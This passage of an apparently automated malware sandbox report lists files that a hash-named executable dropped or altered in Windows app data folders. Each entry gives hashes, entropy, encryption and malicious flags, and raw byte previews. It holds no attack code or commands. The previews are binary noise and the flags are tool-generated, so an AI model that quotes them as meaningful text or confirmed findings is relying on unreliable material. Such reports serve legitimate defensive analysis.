Preview:	regf.k... &.Sk...x.bZ.94S.5..i.Q...$L.\....C.j(...!........s,..s7.;.VK.X..b..[c.1..!.u.lE..u.~\....r3..y....O.i..a.S%.C...vz^...Y.......l..C.;..q......u..S.A........e.;...<"..1.(1f>).G{...vI....?.?.GM.....9+.x....SV............Z.E6..OH{.H\7.9.M...r.w....^.5...PGL....p.'n.i..-....H...A$..?...&U..c.K....r?hC.....)...S......X..>..Lt..kc.,$.....4W'...3..vi.,..SF.....[8...n.F.?N\S...v........t`....p...."t..L...-$..V...O..J..!.....6...&. ...e.+.7{~...f.g..)k..f.l.>q. .0.>oY....P)...Jbx....iBs.QG.R.a...&.....p%......][.c...X.}mDx.i\|W..}.*...#.f.H..j0..p...`.3..E<.L1U.......=gz.2\.4[+..^.e.$.? ...g(.h.(...t.so.y.9!./N.}^...z...:..../.7U.aM......\|..'...(KWVe...z.m...;......m:.......h._.8....m%...tM.S..#.B.Q.........#..;.a.....PV..92.....h....../..Jd.!uRe......Ii......G....Q.H1...^n..8......w..B!/M.<.\\.....P..^...,~.i.j.H....H..O.8.E..J.(...vC.#b.eC....c..#]...eb...Y9....l/_.%)..{...U.....Y#..3.9.z?..)...~.J.@....a......#..G.F.f................

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979184256835834
Encrypted:	false
SSDEEP:	192:TXYkNxGe5rg/oefBElBxHWdz9D4Mk98tQqJzVK31XpoQTI2vZ26W:ToIGe50ZB4vH2D498KqZVKfowI2vZ26W
MD5:	EFB3AC6ED2BE7D31A713582CC8E1DBCC
SHA1:	F6010F7B3593939ED5E650A7DBB944EBE19DD1AE
SHA-256:	30F677C80214B339934D0CC66CB0027F262DB65767E133E53D9CF2B519D2FC33
SHA-512:	6A3BB8E2A5891B566AAFA38745928A3E6CF33749734D131B67C6FF90464FBD3759E513E104E03D4A8027A4ABA10EC4584F3160941DCA3BEA490325F55ECBB21F
Malicious:	false
Preview:	regf.>S...$c..!g.z.'.V.9.Z.U....Jmr_.N.'.[.TtG...y[....kw.N.Se.........\|.zc-c...........Y."....T(..E..)Ze.\|n .m...s,&7...k#:..lO.....I]XQ....._ .3.O~.c.h<....L?.....m.aU.S1.j......QY.g..D....4)..p,;.. =,...........[>..o..f......q....?..A...&e.K...-O.D..:......q.x.............#-+.U.jz?..o.)W[..j..CXX.2....{.^..'......@..g...7:.V.4..N.1Q.t.{^\.D....{q1...t`...2.C...:t.....!.4..^.N..MW.3..d....W/..&.{......mQ....wo..Kj'.q8.t.....+w.k.n,{x.mB}..^y...'.[..J..Z._...?]Us.4..[o;/.e..\i...XV..y.@.O.....y..j.M...&.....&...z.......R..N..{Zv.d9?....5......I....).../....l...U...4qrn....}...s...H.....Ba...AB.k.....U...aB9.../....2...D.0...--.../b.;z..=..5.x....hP.3w....I...b....V.u..H..`.U63V..........&...o..s...vM.I.9..UZ..@s1.u...Cb....2.($]...!O..D....3.z..d. #qe...sQV.......$5..H..L{y...4..l.H.e...l...RYSQ.A.q..x...oM!gV,...2...a..b.C..C.....E.dh.{.3.n.0...yFhW?...in^..N...}E....*c......(g..>o....-.....#.<eu@..?.XfY...2...Kr...{'QM]n...N

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976088533228678
Encrypted:	false
SSDEEP:	192:ZExN/JAUi+BJv3ZJ2lHfOWl6pCepZoEkzW0qi15pjWr:ZExN/GPy3n2Bx6jknqUvWr
MD5:	617289977F1967E81448284A359D9B1E
SHA1:	7928CF9A349284263D5201769D73B602577A75C9
SHA-256:	8EC7EF9AF9231D2925B7C6921910F7A3BD28EE4E496B983442764ADC26EDC85E
SHA-512:	8CF6841BED7A74A9AF134BF3E1554019DD08A4E22A7C1657B1389B5E8B62AEFAB067132FCB17C1D0695F4289EAE5E5B5DDB25CB2B98406E28F554F27B22BFB91
Malicious:	false
Preview:	regf..{.............W...J.g..^}[...g....XY5V..w....7...%.(7o-.hw+....[]3.3..9,.d_l.^....P.N.u.Z.<.........,.(B.L.:..Yb..T.;...g.. .o...8l.5...]7C{Z,.=.}.r.y.......`."U..CD.._..5.m....."0.m.P........1.....F.........).....~.^\|ux?a....S]{.p.V.6...z.w.]...........2....S...x8i... &.....I.....#.u.0...&C.F.!.te....~J.ye.~>....#3W&..@....k.\o..xr..!zV...#C.... y....@.X....=.......e^~....xA.....<.....<...ee.lP$...L.X.GD.....^..Z..R....gw..v.d......:.......q..RB..n.h<...W..c..bH..G..;....2..#. R.....w...sX6.W&W...%z.....C..{g. a9.(.r...{L.).^..vI......h..*..J). P,..s.O{Q..(US........i.H.Rt...........X.&.pM.#>..9..a.A.......W.E.a....T.7...`VT9{.@.g...N.Y....-..33A.v..f.s...../.r.n(<..3-?+.S....&#..0..Yr...`..j.Iu.....r$. ..E0....mk'?......G..D...0..S.+Sw&h.j....\.../G.T..D.........m......J.%.7KB...L.d..J... ..4..P....O..O\FP.4...Aj.I.y@.....z.&...dW..D....P.LF.U...tk.....S....r...F+.....Y....r-Z1..s1...tN...q......v.S..Sc..2.\|...`..-..Z

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978822137600805
Encrypted:	false
SSDEEP:	192:sI6D9FYE3hZPY6VA8zSnn2ZqA4Pp0aeDo3:qDfhhlun/JR0a/
MD5:	51D1DF1A0FB197B99A658284EB437FF1
SHA1:	1EF97E3B6A9852628C83B5638F30D93F37C0AD32
SHA-256:	ACBAA80108511DBBB9320BAD58E38FAFA72389D5B697A900FB6CD58C1E357AAE
SHA-512:	B203906E30657D75C2BAF7DFF0084398157A2BFB96F6AB3A4D80C37DDE584A23F66A1E8B36C02F95FF370E6EEDB1C45FDD68C367EB581D131E65AEB5028C8963
Malicious:	false
Preview:	regf.3].....<..cW.o!....d..(m.U...&hV..V.5.4.H<P..d......$+q{......3h`F........8H_E......;]_q.E..n([.....j.~0;&.A..,.6.q.t...u....2...dA....@..._.b.y.b:....4.3.'..4n....Z.om,=v.+...s.s8.~....]C.c.aD...Gy&.rMJ.\.\.O@.D.Cs.[._}.....1........f.?..).m.......1h........:2...MLCP9...Lm.&.J.k..6c..LX..O.#^..J...w[,.m...p5.@...................RUs...U).z..5........+....T..X.S.:.+.0.&0....+u....o....(....k..Cy.[.K..].}..P.=..r.M.[..`.2.w.BL....&R.qf...\...F..Z.8..;\:.#..Ik..Q.8Q.{..@... .8....$..6(.PX.?f...O..\\|K.6..%....B..?..._Z..a:o. .[R..Nz.F...).bb...nE#By.J..i......Q...h.s.Z...+.6B.=.......-....P.i...R.....j1......E....l...Hj...u....tMz...ka.\.....a_..>.1.u.....(.......8.a...f<..3d?\|...T.......98....;@=Gp........ns..%...p.>j!.Q.@....=.j.......g&...o$ ..A..S.".Z..j.[.-.wm\B._.X@w.7.O~#z...6`.?.c...f3.G.c,=3#l&w..KL.H....Q>.....[.r4K.G..L .f\.A3.J1}sd..S..m85.......^..u.."..=.y.M.`!.8D.-,....M..9.....Q..\-p.t.B...T.....8......C..gL0.5....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	4430
Entropy (8bit):	7.954166953301505
Encrypted:	false
SSDEEP:	96:/5UR2GRLUNPpHyyKVLgN0M1WndgrbWmaFgU6n0FhXVzXjL:/ORlRLscyKVLsv1Wdg2Xwn0R/
MD5:	AA099FD7A8BF8227B4EBC78B925D7073
SHA1:	FF122B079C05BC049BADB9A0659C7F283C8B7164
SHA-256:	659D1A9726CDC06D73A156BFD1929279FBDA4B469FAE01FEB7CB39BEBD7A26DD
SHA-512:	A553DFC692F68C1402DD77423DDA054F0F91131E54DA60E47E03D7E3EED465601618466AC032FDBBF4ABABD6D025F384E66640179AC5D4AD6398025401EBEDF5
Malicious:	true
Preview:	SQLito.VR_.......~k.....yr....E.W.....v~.3.....I.g.....u.....Z..8;<&..Li?.h.V.h...y..&.W.K..RT.l....w.".[..1..Q..e'.@~].......RX..h.`.r..56.=:a..V..J.@2c....m.NiU...g.a.z.mZzf..wp..D#.Yg.8.Y.Fa.....H).c..X5.L...:8..%........-.R.C..9.....o.......R..........l....d...U.X.o..U...o.`.x......nK)..)...Mb...#.#.pc..\|.5...<...... .A..n.%..}+..&.-#..*...n....xD.x.E.5.k.(.." .v..}E8.\..UA.....7.w.....4O%z,..)........;..T\....F-.~.u[f.6.G..Y.c............E..P.Khf,.V...`..'.i{#OF.T..h.....,.=...8.;.%5...c2q...<.W'.g.....C...=..h...b.i.5...Xh.y.3C.......3[0.)........f.\.(.H.V..ne...N{......E.<.?sN\...b.q:O......u......U.....YH.{x.F.......w......ZK...!.p..cny.'.N.<..a..h..5....O.Y..-\..%.....^w..9>8......V.g.hUs..j5.v....<w..Hr..cW!.Ia..Wg..-"................U....;....Y.m:.<0..I....A....^....W..0..+b.\..t...#iaVS...hT..hJ].H.....7..\..r0VPV.......{$n...s".H......MR....;....n..=...T....+..M.-..B.@..i.xg..![..a...06.,...2.;.j...~.t/..C.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.995109879759497
Encrypted:	true
SSDEEP:	384:obef5LXYv/CqyQEFnBitbU2xn7MrMBC10mJH1h6HGS0AHvbb866tgV26IwvdZK9o:uehLovVD8BiFnhNmZ6db4xtk261dZH
MD5:	AC53FBEDB119C3E79700A95B306EF70A
SHA1:	B9FE3DC8FD753F0C229793EAD2D3DC14D9C53D6D
SHA-256:	50BF922E3C979FE7F3745865AD5677F32E8D5515C9503D1C976F5C81A5C3351D
SHA-512:	EF48195E62D6DD537D931296C3F6CA4804C3BA79DD3BE690360CA6A124AEB5000D7D9F08F5AC2E8FD4F7585F2B43B6BA4274FC1278F39C742A2483DEC71C8C01
Malicious:	true
Preview:	..-.......7\|.1..Y..l.33....a...._.....D.X. ..p.....N!..9...q..CN.1...R.4?P.HX'$....9...X..[C&.U/b+.,..?..h.o.[.._.(.IH.v.."5=..%..A..%........g"..Pw.Y./......R.3.O(.._(4....... .#.>.p..3.....i...R...Dm........Mc..E..y=.\|.i..s.........fY`.,...r...#f1U...2. ..D.U..\.H......=..+e...6 .9k'.h..-....\|E...6..EN....b3.....Xw....a."@..5.z.>:.\DJQ>-.....".wy....7DJ..b.$6.hs^.S.s...HP.AOCC.d.F......GIy....n...q.....U."0..^J./..'..].~.......?.n7.$..s..X.U.l..N~..}).....P.....r;....3.....P....... ..4>.......&...:...(.=lo.{.k..K&..8y.0.0]..."...N.U.M.9:.;<..W.P.........!9..._....k.....(Y)....!a........9.i..)5x]G.o6"...;]Z......D..U.0........1R.t!...H..xU...6\...JdP}q......vP.mn.}.<s...2.Ad..6vT.r),.(A.g...s....\z..Y_...N.sx..Y3..[1....D.,.,..MJV...h.C/6....`q......a..b....G&..w...1W..UC.\|.zu.r.q.:.._YE.IR.W..+.6@.-;n..Ru.i..I..\O......4..P...g.....,..t./4!..6...m."...f.....!m..6@\|P.FZ.!...-.8.)..).(.KR.8).+..9v....Vj.l#...>T..X..tZG,o._l..H3..g.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite-wal

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	SQLite Write-Ahead Log, version 3235334
Category:	dropped
Size (bytes):	1384686
Entropy (8bit):	1.9274738116668466
Encrypted:	false
SSDEEP:	3072:Ygqa8Cj+pT4aPBlbIagEVDmIuzE/rTDam8PwrWUsfTLYruwOuLUQfZolR9FEeI02:YWPj+pT48BlbIaz/HrTDz9rzeLYPUi1
MD5:	18BC8F53064035D7160F61C3902B7934
SHA1:	2BFDC7BEAB3355BE438D5A250FBCF6A38CB7E473
SHA-256:	377BC3BFDEC17836F5867A4C8AC622BB996C6A85CF1298B7F8067754A68A8EF1
SHA-512:	3AF0D3DBC58010748E2D538082FD0E9A86C3C4DE87924FCF799A3C88387B8D3D6D0163E45E86E9F05C77B5CD788E81A03AEA0113BE01291A85EB2654B47CF5DF
Malicious:	false
Preview:	7....1^.E..g.aF.....5.....N..fuj.~{o.}....<tZ.0..a...b&g...h...OZ\.2....a...Q...h.<.....({Z....l...Z.:.?.&n-.,\.pb=x...N.....v.0[...%..CE.OX&..{..Zv..8w..c.V....D.m.O...Sp,..u.............&....N,.<X..._....-\|9.<.670.^....N....b6s.>.{W...c....K.5_...s.....1.......9~..s.-..&.y@n..lL=H./.D.1%_...O:V..s..GM,/>'.a..<...(.......N.8?..6..q..mYU....o/...wW.....u.$O..'..OQ.......f.>.....6.d..p.!..R~h.....?.7..7r..3B.cp...dc.j$.n."..:1...v<..3..A...&eI,....5{k.7"j...t..\.._....Hjn..0 .E..mE.d...?..6.1`.....)..5!....gA..,#!H..Hk+t.e\|..D..}.r6...qUy...3...!%..W.8......FI.........;....+....s ...L.&.G..T'}w7gd...Oxm@J.i...jA7...M..L$......<. ...v00..J..K....;\....T..~S.>......@.^x.=..G..).8.P.7`(." q.....%bT....d.E0V+..70.._...8.a%......TL.Jp.=.kb..+%\.L..A.G.w.sR..^4...j..0.gs....o....(...P..^.}s........n.=...^.4.E.....DA.r.-IX..X...Z....W...RJw:D:..x`..t..f.%..y:Q..X.u..4.....c......5.$......{.j..T._.:.f.}...e8.D. 6.u..0S)<9....8~...7`...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\PhotosAppTracing_startedInBGMode.etl

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	65870
Entropy (8bit):	7.997244541188427
Encrypted:	true
SSDEEP:	1536:1os2o6shBhHhvyYQXMuWVr4DyFmt44K8zNLQbk1ZXmdSgLZmHNM:1oELhvHIYQcuqk1t44K8zqk1pmw5HNM
MD5:	CE9CFA7A1C448F5DD78C72617A150038
SHA1:	67AD76AD7DC6B010512B84B25D4F132B090E78B0
SHA-256:	EEF18D6A32F150F3645802556AD92B01D4A66F29EE281604F22EC07826813004
SHA-512:	B0DE3E5BC2717D571A3E0F447F7359CE5273AD112D05FE1125551CD122964F17F844882DAE1F02356E78CC607A13E05F2181D4256EB04133C5BEA53A62951CCE
Malicious:	true
Preview:	.........07..+@..s...i.(.CT....y<bx.;...C.......d.D..F ..@u..;....L.)..+.7..S.....ix.RzN..C.....m..N...X.....y#.w.F.wI()..\.....!.:W.KS..z4...g.5.$,8@.WK..Z..I^..d(...i.~......U..0..EE...VqH.){j..+.B.0\..Q...R..\..../....E.s.....~....M.{.F..o6A(.dc....cI.J.'-7....P7..._.7.....\...I.........Zd._.._..n.......b..U...m3........Q.......1"J....%,._=<W.....i.....@.q...].o\.j;...#...v.^....uj8.....s3.b.....x........K.).y.>.........D....LP.2..t....M.v.v.e.....=.?n....s....1..@...p.......7ux..A...g...L..w[......f.".!..+$.]...d0.....2.qW.U.o.d..]..Kb.Z.~ ...,..^#z.yce.T!...XO...LU.-=..!...:9.].X0..87...+.....x..MT...1..:..j.'.Sa....{O.tmU...y..`k.I..o..V8?Ls...d32rI...`..K.p..F.t...m{.nzbT.f.qn6./..d.).6.......l.3.../...~.......%QO$...w...l.4%........)a......i....1..L.Z<!~4\.!.vq.4......Uh...V..>B....3C.6.p...........&..q.E,..6.R.d`..k...`<xs..._.V..U.C.b..../.i.1?.aG.U.R....s+.@)9k...@...s_..fjw...8..<.Xc....gs.Z1..^g..*.z....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976500897568417
Encrypted:	false
SSDEEP:	192:ZCMiyaGtzPTOPgtR/8FOJJw8oLsJAbOgDWIJ:opZwq4tB8YZL3gDR
MD5:	9841E4FC606465C10B34C0E68CF59FBC
SHA1:	6F44B3327D37EAAC98B175CFBE117D593EEA772F
SHA-256:	778F91B47A1892190C10FDBDA3D591B2FF98365AA00EC83308F6FF56DF104F46
SHA-512:	9320DB55430196A931641B0EFC0318E42BBC4587D4A789C7659323B45BB802A25112D62A0F2661FA784C4A3E8EB7D77A9B9A1C9B12F0B46A933A3135F26F0C35
Malicious:	false
Preview:	regf.+..3....k.......X.~..\....W.....-{.\........QO..C.s`$.......9.....]..Q.......'3.+.. 7.{....=.{.........a...K...z.....r{.r..F.M..k..........i....W1..@r.`Y\<..rUa@Q'..........A.....g".f8.\|.J9.....7.Rb.a...8.....nr....:..9FwH38I...~;.)..S...q0l.]s=.L.q..>.a..y....>...3....{....o..R....9.....ILd.$.6=P!...S.6!...#G.....".:..(.Ct.F5=..1..CC.+./`...g..[c.^B..u..........A.A...Fl...G...x.).....R.\|{.....xH..7.Y....\.u~P....}.fu..H\..R(.....1.Ha.8u..Ebi.......V.IU..'......ToKz....q..J.y...G..z...5K/+........g..F...k..+.YCA....W.\J.Ew8.u...x7.R.k..${.!\..Q>.}.....{....I...e.:.N..ljL.~..$......I.;.....!........(x9AS..M7.sA.....-....G....T....H.;..;t..3..K.d.....,J....v.:..J.....%{.?..A........wS....C.M:..S0..t...9.4....Vi.4.7....."....K..<.C..E....f..Q.......SJ.[ ......<e.....K)QuW..k.....^.\|.%...(..b.3.........>.-7..~.&bY}..<...+.w..T)..D3...n..t...8Uh.#.cSp.]........'.\...UX).....$.9s\.o.......X..NG\]...#1.j.ei'\|}.....2..x-5.b._[.h.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975162980334828
Encrypted:	false
SSDEEP:	192:4wAc7fkKDMk5SbHbem7Ls+93bm/O03S49cbjTzlcQQqcWHFEMfvbTL0s5:47cRUfeJv/O0XcbLlcmpHFRXp
MD5:	0FED207F0BA2043780309C549F8C985B
SHA1:	7D386B3BB52169428D7209B5244A012B4B053FDF
SHA-256:	354536431A67D3D3B352C625D6B003CC0C21A0154BC453F2C1A04B6DFAD29332
SHA-512:	69201BD842E6D6DEABAA83C8FE89A27DC43DB15DC43387512074E4B704E089E35B2DAF108F0B3DB2A48068A7E6E3B28F67E779E0C388E200241E67BB25F0C145
Malicious:	false
Preview:	regf.;o.i...\|tn._$.gn.....9...(S..+2....7...tt.?-......V8..w..gW;u...`.6..[.... u...cj..im...f.1....S..l0..i.=A..)...6b..K.7d[<.+1H.........v.b.F.g.C...A6.....0.....wa.u3m8...9.Z.`..?.x...'i{V.j.AbA.R..m..g....0...GLj..RNl"...>..9e....#.`.>.a...w.e...z#b.>...:1............_....2..@!.E..../.E.....\|"...\|Eh........ vG.pE.x......}}.....C....?W.......9..o...........]y_......;.!...#..).0.9.....G.....}FWg1h.'P.(.e..v...\.S....>.}.}..n@......g#.W.jn{4.c..h...M!....i~..EJa%.H...?.....:.f..k....3w.].\./..............C..g....c"....!.%,..lX.CR`/...I.e.A....u.._.x.t.....l.C(B(.R..i.....`of.eX8.....L..NG(]W. .RAj^..Z.....eV..E...T.k.J.5.`a..n.S^.@xc.v...LU`.N.SXH........9Y....z......a.Zw.L.^@.0..)V5>S..$).?..i.f.M..rW..3.2=..d.z)K...bZ.`.L$"\|....].B..~..".8".......A...uAs..!0.o!N..v...V...N.j\...J<..7.c.?n1..m.r.R8.<..V...0h..q.y..p...v5.N.R2....n..3=.....H.g...... .<.x...C..PN.35....[-Qnk.A.'.m~[.......e_LrI.=..[`./...n.......D

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980533507505573
Encrypted:	false
SSDEEP:	192:JdMp5NpeuqvVkqCN3BMsWuLOAO++fewkf/CxcrYr:HM+uq9k/N6uHO++fexTYr
MD5:	F9D5B3642C06F4EF8069D7E0949EE8CC
SHA1:	B5B19343E772741D5F1F82D4807872FC7671657E
SHA-256:	DE6DFB2BDC286937724440D04799953B21F7204E48BBCBCA3D694B3F7CC58BA9
SHA-512:	4A6BD1E7533083885806FDB244753DAC5F1E5A6B2FA006622D538287C451F45761D472E6086F4B93C9F5A9DBD886427C9806F395DAD250A92D149762F6D3BC80
Malicious:	false
Preview:	regf.u8..\._.U.\|a.(c....(v./......[9@..a..w.X....1m...A.(v...n..NTYB....".P.....Q.>{.....e:....8.G.l..'....b.......8A..M...#.~B[8e(....$qo-....-.....j..7.:....o.Rn`u.....2g.W..Os#..7Y?c..;......t.E....bt....JVq}..r....<.w.L&....\|l..tI&U.f.Y7.!...........I...4c.X.../.Z2f.rv.Z...V.......`@I.+.u..'My.D5..Z..vP.J.A9&.Eq..>.do.:.Q....Q._..</.0.^......`.&...IGE...t&v7...gS....w.yYAjr./d4\|&G.......j...=.....&E}.....O..,....A..:.K>..Q.....jn..z.x.......uo..).R#.ku[....8B..G....5.....I...`...MUC.......\|$x@...g..'.L+.).y.......OF..._.)....{....9&.._..)......B._w....GT..@....b.p..J._.\O.]..=..]v...V,.G..kC..rZ.jRn\|t..u..&+.......u........Y.-.t..l.^..~...G....N0g.@..@.Q:.s8.....F4.T.S}y1.[...X.}..x...=.f.3.....G...g...NA.................eG..J>.....rY._..^.f'....*...]....%..s%.....p.T..I..f.r+...#,..5u\|`...-=.l0.....c..`.(VJ<.m\|........XR.....h").....].....r;....'.B(1)......W.sw..].Jv..(is....2.C5....6(...$..t.l0.~...&...-....o:.N...8.^.eB...CB

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\TempState\CortanaUnifiedTileModelCache.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	38786
Entropy (8bit):	7.995383790103188
Encrypted:	true
SSDEEP:	768:ZxpEPKGt/i/WyIMJoiU/OlzUmg3JWM48XGw03fNF0MO5/NqcFT:ZxpEY+yIizQYM7/03lSMalqG
MD5:	F84B7E5C7B78DE22A9240843E52AE9D6
SHA1:	2803ADEF4E2E187F3F886EBABC3AD71F6AA04A1B
SHA-256:	0F37F2314E063DFBA9A51BB27B90C2170C60D07060F50E522C703FBA53CB853D
SHA-512:	8524CD69989D22FFCCD009C9543E7BBF39C6B22E15F58592EB7EB5C1B790342C6A8F7184F9C6BA7AFA8624A261FBA66EB14D05535B96F2FB0F36B98F92E867AA
Malicious:	true
Preview:	.4...}q..U4..I.M..6.....p..?.6..5..u.=....N..i......`.u...\.3.......i)"...O..0..r.........Z.c.94....i4.$C.....PE.......kc...!..l.VP.x.5;Dg1...cW.u[..]+o.3.hp.4.na.........pz..4.WM.V..1.r.Mj.J..+..u.[.]J..U....5..;s....)......=E.1Z..h%.n..&...3..\...l....y!....H...3.e...'{.........M...._.N..IU..5,\|......%..E.Kmd.Y....S....T.l....nz=...6".&.../.w6..:.}.i.G...........:..'g.......t,.....i.....'5.+.?....J(..l^..%.#......%..P....k.....%XiL.S...n...F...W..2.4R..F9..#,...W..z.#.1.R...t.Bg.9....s..V %....z.....<..........#...[.........:t"....I...?1.2.i.&.SV...F....F...P.&q....pj....#....,$.@7..+._.E..w..$`......2..X...B{8Y%.X.r.$3.U.B!..V...e...6.....Qg0...(;.....x...N......t....2.%`j.z..6.j.s8.)UU.,.8.+...2.....I...4.1.N.8.Y....`..lx....nd...........=CMM.....).l...S.Eh.._..amUT1...Yy...tG.....~.....6....`....+`..T...8Y.D". ..W..V..._.\|w....>V.)K~Y(*.R..T..XE.Y...k..v.....;....^.. .?.z...f..x6..<f.1@.W......ye......H.:LxQ..=.{."t]4@.H.r.c"p.4,..Y`VM`

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976849613506747
Encrypted:	false
SSDEEP:	192:XhGxxR8mKzOUvepbM1TB1V/tEoLkszi6xj38GnBoXMeAxoZG62hYx5jNdAYd:xGxxR1KlvZFEoLxi6x4GnBoXMiA62hYT
MD5:	1815592ED8F65DB1E19EDFF7AE2B2666
SHA1:	3FF6D5CF2E267C333DAD6F0669F5DE5BDB399D10
SHA-256:	ECAF56E7FAF26F6C35788D560E335362C4F1E8960D0BAAE83309711D66AE7E2B
SHA-512:	BF1D18A4D597A31560ACCD537207C1A360876C357719EBF032F254A1EB1EE35DAF91D5BDA6C2AD572578E92982779E512DDFE11593B30CDAB94ADBDDA8708940
Malicious:	false
Preview:	regf.U....%t...I.....<`.k....3.D0l.C..lU..1...-U....."...E_d...b..B)H.d8..<.xo2...p..5"?c...G.8..z<...(...ob.>..=Wh.J.=.ha.-..e....S......E.....2S).....H.[..6.>......._4.f..MTl..e.r/..o..r.kB5SJJByp........8...V......a.K.:~.;..]?..x...4......92...s...]..e_.H............;!{....:...:...`....[.,..6..x.p...l....\.U#i.ac..-]=.ZE(..XbO..V....B...$2/.YRF.5.lJ.s...rMk.......8..L....P...4./.B.........C..Q.c....]..n.....<.=.n.~K...Sp.5_..V?,..tv......N..Q(D..c.n}Q5#..{{.-QP..g.5.V.......5...K...,..$.l....L.f..p.84.D...e.;D..&_.S.~fry.^....8...P.6.........F...].i%....e...DTr.o...W#p....+.......<.kdLAR.]nx..p.{..Gk.:..S.i...#g..'...=Nfa.B...zy:O....O..;DdBf...m..p..cO..1.@.O..4.f.W..........\s.j.,.+P.....F........C..4.-.D?C..2...........9.Id...oy...P..C...&....5`{.3O.F.-..}..U]...;.}.e.Pn.`.g':.p.A.".G...y..+]....J.o#...p.jQ.].\|5.uN.....6afNW.C..I..._[.WZ..8?..~..."O<......vL7.9..]..E.A.!..rqO......;J...k.l.#....qqhe.m....a..v.::o&s.p(..b#....DE

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9730642696601155
Encrypted:	false
SSDEEP:	192:HLLpaABM4RtoGiz7bnhBq8dUEj62Ua/e8XX:HLVagt5c7bnhBqGUEW2UaWw
MD5:	108C8D0AC07D32FC2871730321B67BCA
SHA1:	86537D2C16D022EC352775AC5C110E733BD4B1A8
SHA-256:	C8627AC42D03D4BC4ED6D11235615B573744D2157B556A9F785F3CC328043AA8
SHA-512:	ED3165DFD50E1909281366DE5D5B027290BAAAA9897BE7F6B905E110682D4DB39D6E414A1D6FA9E869387142D78AEA5FE798E49A8038F3C8B739E49DE0B1EB7A
Malicious:	false
